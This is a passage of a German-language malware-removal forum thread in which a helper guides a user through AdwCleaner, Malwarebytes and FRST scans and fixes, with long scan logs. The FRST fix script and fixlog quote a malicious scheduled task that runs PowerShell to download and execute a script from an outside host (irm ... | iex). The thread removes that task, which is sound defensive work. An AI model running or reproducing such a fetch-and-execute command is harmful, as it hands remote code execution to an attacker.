PUP.Optional.WinRiser, C:\USERS\PUBLIC\DESKTOP\WIN RISER.LNK, Keine Aktion durch Benutzer, 7533, 1137238, 1.0.94594, , ame, , B12CB4018ACEDB054676001DD286FE5D, 64A0BF865A8CDF281ACCF3E638DE9F164733334654624C10C220F211640BC0B8
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pinaview\Pinaview.lnk, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , 412031CBBDC2364DCA8AEDE33CBB63C2, 8EE4EC0566A7EB37391756BAEC3152CDB6A6F2D81FBEA2083E8A92C58A45B586
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\device.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8A6DDB82B606B38A4913B6BA2B974627, FFE92BDDF946A05790138BAD813E004F85E7CCA1A7F99D7F0AF14EB6608385F5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\storedRequests.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8DF29D0CC796A27B98234E4B51714009, 3506C5576AF28BD30CC94EADC778032E034E08A2975390DC15D224C1D0A875CB
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\AsyncBridge.Net35.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 35CBDBE6987B9951D3467DDA2F318F3C, E4915F18FD6713EE84F27A06ED1F6F555CDBEBE1522792CF4B4961664550CF83
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Countly.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 9B55E3B45422890DE9353BBF8D2C8AAE, 972937C36B832A09F37CE6386104235B77D4F2F076BC032E2DE70A1265705CB2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Gh.Common.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 94140FBEF9B808F45AFF16B861A4ED13, 83906CD627517E8CB3393618DEFE7D8BB28576C0C951309C4B99FEC122491308
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe.config, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 3C5D9C69C66E2C42C6F80D9F0B29C638, 63D9B0F13E74131A18F60876405CB987A174C2993FAEAD18262A1F57D807F9C5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\SharpRaven.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C1A31AB7394444FD8AA2E8FE3C7C5094, 64B7231EDA298844697D38DD3539BD97FE995D88AE0C5E0C09D63A908F7336C4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.dat, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , F61BD5472A8702166D4A61C107395B4E, BF7AC766F45E1D1D74C3F666086E750989689E9AF97B565D1A676C3CA29D1922
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C8AFAA7A183B033CDF007E1175DCF4B9, 3E91ED68E2E04F81498B2F29167A5B3531EB38D47BB7214EB676E7EBC4383100
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.msg, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 313D0CC5D1A64D2565E35937991775A6, 5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)

cosinus 20.01.2025 15:51
Alles nur Werbemüll.

adwCleaner

Führe AdwCleaner gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei in CODE-Tags.

adwcleaner bitte wiederholen falls es Funde gab.

Pun99 20.01.2025 15:58
Code:
# -------------------------------
# Malwarebytes AdwCleaner 8.4.2.0
# -------------------------------
# Build:    03-04-2024
# Database: 2024-10-23.4 (Cloud)
# Support:  https://www.malwarebytes.com/support
#
# -------------------------------
# Mode: Clean
# -------------------------------
# Start:    01-20-2025
# Duration: 00:00:00
# OS:      Windows 11 (Build 26100.2894)
# Cleaned:  4
# Failed:  0


***** [ Services ] *****

No malicious services cleaned.

***** [ Folders ] *****

Deleted      C:\ProgramData\Bit Guardian
Deleted      C:\Users\wigla\AppData\Roaming\Bit Guardian

***** [ Files ] *****

No malicious files cleaned.

***** [ DLL ] *****

No malicious DLLs cleaned.

***** [ WMI ] *****

No malicious WMI cleaned.

***** [ Shortcuts ] *****

No malicious shortcuts cleaned.

***** [ Tasks ] *****

No malicious tasks cleaned.

***** [ Registry ] *****

Deleted      HKCU\Software\Bit Guardian
Deleted      HKLM\Software\Bit Guardian

***** [ Chromium (and derivatives) ] *****

No malicious Chromium entries cleaned.

***** [ Chromium URLs ] *****

No malicious Chromium URLs cleaned.

***** [ Firefox (and derivatives) ] *****

No malicious Firefox entries cleaned.

***** [ Firefox URLs ] *****

No malicious Firefox URLs cleaned.

***** [ Hosts File Entries ] *****

No malicious hosts file entries cleaned.

***** [ Preinstalled Software ] *****

No Preinstalled Software cleaned.


*************************

[+] Delete Tracing Keys
[+] Reset Winsock

*************************

AdwCleaner_Debug.log - [20016 octets] - [13/09/2024 23:28:03]
AdwCleaner[S00].txt - [1651 octets] - [13/09/2024 23:28:07]
AdwCleaner[C00].txt - [1785 octets] - [13/09/2024 23:30:56]
AdwCleaner[S01].txt - [1796 octets] - [20/01/2025 15:55:24]

########## EOF - C:\AdwCleaner\Logs\AdwCleaner[C01].txt ##########
Die Ergebnisse wurden in Quarantäne verschoben und dann nochmal gescannt.

Code:
# -------------------------------
# Malwarebytes AdwCleaner 8.4.2.0
# -------------------------------
# Build:    03-04-2024
# Database: 2024-03-04.1 (Local)
# Support:  https://www.malwarebytes.com/support
#
# -------------------------------
# Mode: Scan
# -------------------------------
# Start:    01-20-2025
# Duration: 00:00:10
# OS:      Windows 11 (Build 26100.2894)
# Scanned:  32108
# Detected: 0


***** [ Services ] *****

No malicious services found.

***** [ Folders ] *****

No malicious folders found.

***** [ Files ] *****

No malicious files found.

***** [ DLL ] *****

No malicious DLLs found.

***** [ WMI ] *****

No malicious WMI found.

***** [ Shortcuts ] *****

No malicious shortcuts found.

***** [ Tasks ] *****

No malicious tasks found.

***** [ Registry ] *****

No malicious registry entries found.

***** [ Chromium (and derivatives) ] *****

No malicious Chromium entries found.

***** [ Chromium URLs ] *****

No malicious Chromium URLs found.

***** [ Firefox (and derivatives) ] *****

No malicious Firefox entries found.

***** [ Firefox URLs ] *****

No malicious Firefox URLs found.

***** [ Hosts File Entries ] *****

No malicious hosts file entries found.

***** [ Preinstalled Software ] *****

No Preinstalled Software found.


AdwCleaner_Debug.log - [24974 octets] - [13/09/2024 23:28:03]
AdwCleaner[S00].txt - [1651 octets] - [13/09/2024 23:28:07]
AdwCleaner[C00].txt - [1785 octets] - [13/09/2024 23:30:56]
AdwCleaner[S01].txt - [1796 octets] - [20/01/2025 15:55:24]
AdwCleaner[C01].txt - [1910 octets] - [20/01/2025 15:56:01]

########## EOF - C:\AdwCleaner\Logs\AdwCleaner[S02].txt ##########

cosinus 20.01.2025 16:06
Scripting/Repair mit FRST64

WARNUNG AN ALLE MITLESER !!!
Dieses FRST-Script ist ausschließlich für diesen Nutzer gedacht und sollte niemals 1:1 für ein anderes System angewendet werden!
  • Kopiere den gesamten Inhalt der folgenden Code-Box:
    Code:
    Start::
    CloseProcesses:
    Task: {2120500C-A5F4-4C16-BA0E-D81E32F2F731} - System32\Tasks\MicrosoftConsole => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [454656 2024-04-01] (Microsoft Windows -> Microsoft Corporation) -> irm hxxps://kenovn.net/script | iex <==== ACHTUNG
    EmptyTemp:
    End::
  • Starte nun FRST und klicke direkt den Reparieren Button.Wichtig: Du brauchst den Inhalt der Code-Box nirgends einfügen, da sich FRST den Code aus der Zwischenablage holt!
  • Das Tool führt die gewünschten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich FRST befindet.
  • Gegebenenfalls muss dein Rechner neu gestartet werden.
  • Poste mir den Inhalt der fixlog.txt mit deiner nächsten Antwort.

Pun99 20.01.2025 16:38
Ich musste es erneut starten, beim ersten Mal war der Rechner eingefroren.

Code:
Entfernungsergebnis von Farbar Recovery Scan Tool (x64) Version: 19-01-2025
durchgeführt von wigla (20-01-2025 16:30:00) Run:2
Gestartet von C:\Users\wigla\Downloads
Geladene Profile: wigla
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************
Start::
CloseProcesses:
Task: {2120500C-A5F4-4C16-BA0E-D81E32F2F731} - System32\Tasks\MicrosoftConsole => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [454656 2024-04-01] (Microsoft Windows -> Microsoft Corporation) -> irm hxxps://kenovn.net/script | iex <==== ACHTUNG
EmptyTemp:
End::
*****************

Prozesse erfolgreich geschlossen.
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2120500C-A5F4-4C16-BA0E-D81E32F2F731}" => nicht gefunden
"C:\WINDOWS\System32\Tasks\MicrosoftConsole" => nicht gefunden
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftConsole" => nicht gefunden

=========== EmptyTemp: ==========

FlushDNS => abgeschlossen
BITS transfer queue => 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 8411205 B
Java, Discord, Steam htmlcache, WinHttpAutoProxySvc/winhttp *.cache => 22754141 B
Windows/system/drivers => 25165 B
Edge => 0 B
Firefox => 25194485 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
systemprofile32 => 1813 B
LocalService => 1813 B
NetworkService => 1813 B
wigla => 116637 B

RecycleBin => 912466065 B
EmptyTemp: => 924.1 MB temporäre Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 16:30:07 ====

cosinus 20.01.2025 21:12
Dann bitte jetzt neue FRST-Logs.

Pun99 21.01.2025 10:00
Vielen Dank für deine Hilfe.
Es scheint schon erste Erfolge zu geben.

Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 19-01-2025
durchgeführt von wigla (Administrator) auf EMIL (21-01-2025 09:52:55)
Gestartet von C:\Users\wigla\Downloads\FRST64.exe
Geladene Profile: wigla
Plattform: Microsoft Windows 11 Pro Version 24H2 26100.2894 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: FF
Start-Modus: Normal

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\RadeonSoftware.exe
(A-Volute SAS -> A-Volute) C:\Users\wigla\AppData\Local\NhNotifSys\sonicstudio\asusns.exe
(C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\SwAgent\ArmourySwAgent.exe
(C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe ->) (Epic Games Inc. -> Epic Games, Inc.) C:\Program Files (x86)\Epic Games\Launcher\Engine\Binaries\Win64\EpicWebHelper.exe <2>
(C:\Program Files (x86)\LightingService\LightingService.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files\ASUS\AacAmbientHal\AacAmbientLighting.exe
(C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe ->) (Razer USA Ltd. -> ) C:\Program Files (x86)\Razer\Synapse3\UserProcess\Razer Synapse Service Process.exe
(C:\Program Files (x86)\Steam\steam.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe <7>
(C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\amdow.exe
(C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\AMDRSSrcExt.exe
(C:\Program Files\AMD\CNext\CNext\RadeonSoftware.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cncmd.exe
(C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.Service.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.) C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.UserSessionHelper.exe
(C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe ->) (Malwarebytes Inc. -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\Malwarebytes.exe
(C:\Program Files\Mozilla Firefox\firefox.exe ->) (Malwarebytes Inc. -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MbamBgNativeMsg.exe
(C:\Riot Games\Riot Client\RiotClientServices.exe ->) () [Datei ist nicht signiert] C:\Riot Games\Riot Client\RiotClientCrashHandler.exe
(C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe ->) () [Datei ist nicht signiert] C:\Users\wigla\AppData\Local\VoicemodV3\app\last\kit\crashpad_handler.exe
(C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe ->) (The Qt Company Oy -> The Qt Company Ltd.) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\QtWebEngineProcess.exe <2>
(cmd.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe
(DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\atiesrxx.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\atieclxx.exe
(explorer.exe ->) (Epic Games Inc. -> Epic Games, Inc.) C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe
(explorer.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe <9>
(explorer.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Microsoft OneDrive\OneDrive.exe
(explorer.exe ->) (Mozilla Corporation -> Mozilla Corporation) C:\Program Files\Mozilla Firefox\firefox.exe <12>
(explorer.exe ->) (Riot Games, Inc. -> Riot Games, Inc.) C:\Program Files\Riot Vanguard\vgtray.exe
(explorer.exe ->) (Riot Games, Inc. -> Riot Games, Inc.) C:\Riot Games\Riot Client\RiotClientServices.exe
(explorer.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\steam.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\cmd.exe
(services.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\atiesrxx.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUS Inc.) C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> Asustek Computer Inc.) C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\AsusFanControlService\2.03.43\AsusFanControlService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\AXSP\4.03.12\atkexComSvc.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek Computer Inc.) C:\Program Files (x86)\LightingService\LightingService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.) C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.Service.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.) C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe
(services.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\System32\NahimicService.exe
(services.exe ->) (Malwarebytes Inc. -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(services.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncHelper.exe
(services.exe ->) (Microsoft Windows Hardware Compatibility Publisher -> Advanced Micro Devices, Inc.) C:\Windows\System32\DriverStore\FileRepository\amdfendr.inf_amd64_987f8cede005f427\amdfendrsr.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpDefenderCoreService.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MsMpEng.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\NisSrv.exe
(services.exe ->) (Razer USA Ltd. -> Razer Inc) C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService.exe
(services.exe ->) (Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe
(services.exe ->) (Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe
(services.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64_f8a05495a6e8bc10\RtkAudUService64.exe <2>
(services.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Common Files\Steam\steamservice.exe
(sihost.exe ->) (747CF5E3-AC1C-4505-8387-083BCE1B82DC -> GitHub, Inc.) C:\Program Files\WindowsApps\47492CenterpointGaming.ProSight_9.7.7.0_x64__rz8d8f65gztyc\app\CrosshairX.exe <7>
(sihost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_1.24112.22.0_x64__cw5n1h2txyewy\CrossDeviceService.exe
(svchost.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\CPUMetricsServer.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files\ASUS\KINGSTON_Aac_DRAM\AacKingstonDramHal_x64.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files\ASUS\KINGSTON_Aac_DRAM\AacKingstonDramHal_x86.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUS) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\AcPowerNotification\AcPowerNotification.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUS) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmourySocketServer.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUS) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\MBLedSDK\NoiseCancelingEngine.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek Compputer Inc.) C:\Program Files\ASUS\AacMB\Aac3572MbHal_x86.exe <2>
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.) C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe <7>
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files\ASUS\AacExtCard\extensionCardHal_x86.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files\ASUS\ASUS_Aac_DRAM\Aac3572DramHal_x86.exe
(svchost.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\System32\NahimicSvc64.exe <2>
(svchost.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\SysWOW64\NahimicSvc32.exe <2>
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileCoAuth.exe
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.1.220.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe <2>
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_524.34401.20.0_x64__cw5n1h2txyewy\WidgetBoard.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
(VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc., Sucursal en España) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe

==================== Registry (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [RtkAudUService] => C:\WINDOWS\System32\DriverStore\FileRepository\realtekservice.inf_amd64_f8a05495a6e8bc10\RtkAudUService64.exe [3496120 2024-06-21] (Realtek Semiconductor Corp. -> Realtek Semiconductor)
HKLM\...\Run: [Riot Vanguard] => C:\Program Files\Riot Vanguard\vgtray.exe [4131496 2024-12-20] (Riot Games, Inc. -> Riot Games, Inc.)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [OneDrive] => C:\Program Files\Microsoft OneDrive\OneDrive.exe [5006904 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [4412512 2024-12-02] (Valve Corp. -> Valve Corporation)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [EpicGamesLauncher] => C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe [36981208 2024-12-04] (Epic Games Inc. -> Epic Games, Inc.)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [AMDNoiseSuppression] => "C:\Windows\system32\AMD\ANR\AMDNoiseSuppression.exe" (Keine Datei)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [RiotClient] => C:\Riot Games\Riot Client\RiotClientServices.exe [74279960 2025-01-10] (Riot Games, Inc. -> Riot Games, Inc.)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [Mod Menu] => C:\Users\wigla\AppData\Roaming\Mod Menu\XModz Mod Menu.exe (Keine Datei)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [MicrosoftEdgeAutoLaunch_A74EEC444A18EB9EC928EA5BE23D85FA] => "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start [3923496 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [VoicemodV3] => C:\Program Files\Voicemod V3\Voicemod.exe [6304144 2025-01-10] (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc.)

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {3C273187-CF46-45E4-9167-0880FB5DD6D1} - System32\Tasks\AMDInstallLauncher => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe [1031384 2024-07-15] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {686588D2-8353-4BB6-9AB2-E5C1D30F8797} - System32\Tasks\AMDRyzenMasterSDKTask => C:\Program Files\AMD\CNext\CNext\cpumetricsserver.exe [184024 2024-07-14] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {5CFCCD41-ECA0-4806-897D-8E72B4C92ACF} - System32\Tasks\ASUS\AcPowerNotification => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\AcPowerNotification\AcPowerNotification.exe [371048 2024-08-13] (ASUSTeK COMPUTER INC. -> ASUS)
Task: {E8344803-317A-4E2F-953F-3D737A05CBEC} - System32\Tasks\ASUS\ArmourySocketServer => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmourySocketServer.exe [1771368 2024-08-13] (ASUSTeK COMPUTER INC. -> ASUS)
Task: {DCDB129E-3FDD-42C6-8CB0-B91F0DB5ABA0} - System32\Tasks\ASUS\ASUSUpdateTaskMachineCore1dac40552f21887 => C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
Task: {E31F6434-E1F0-497F-BFC4-A206CB1EF70D} - System32\Tasks\ASUS\ASUSUpdateTaskMachineUA => C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
Task: {33DAF321-C074-4979-8215-938238100018} - System32\Tasks\ASUS\Framework Service => C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe [152109928 2024-08-13] (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.)
Task: {7386E32B-19EB-43E1-B8A5-8F8A2C52F2FE} - System32\Tasks\ASUS\NoiseCancelingEngine => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\MBLedSDK\NoiseCancelingEngine.exe [1261928 2023-12-07] (ASUSTeK COMPUTER INC. -> ASUS)
Task: {E0FEF777-8B6E-4964-B6AD-3274329AC822} - System32\Tasks\ASUS\P508PowerAgent_sdk => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ShareFromArmouryIII\Mouse\ROG STRIX CARRY\P508PowerAgent.exe  (Keine Datei)
Task: {077BA067-7C15-40F0-B22E-C9DC2A54B4A2} - System32\Tasks\Microsoft\Windows\Location\Notifications => %windir%\System32\LocationNotificationWindows.exe  (Keine Datei)
Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe  (Keine Datei)
Task: {164491EC-88A5-41FA-AEA5-DC7BC09E0259} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {C525A243-558C-4052-ACCC-8F7ED05FF4BA} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {04C8BD91-E21A-46F7-B88A-62AAAA8882A6} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {25A8BC50-DAD9-4692-BA9B-17C896A705AE} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
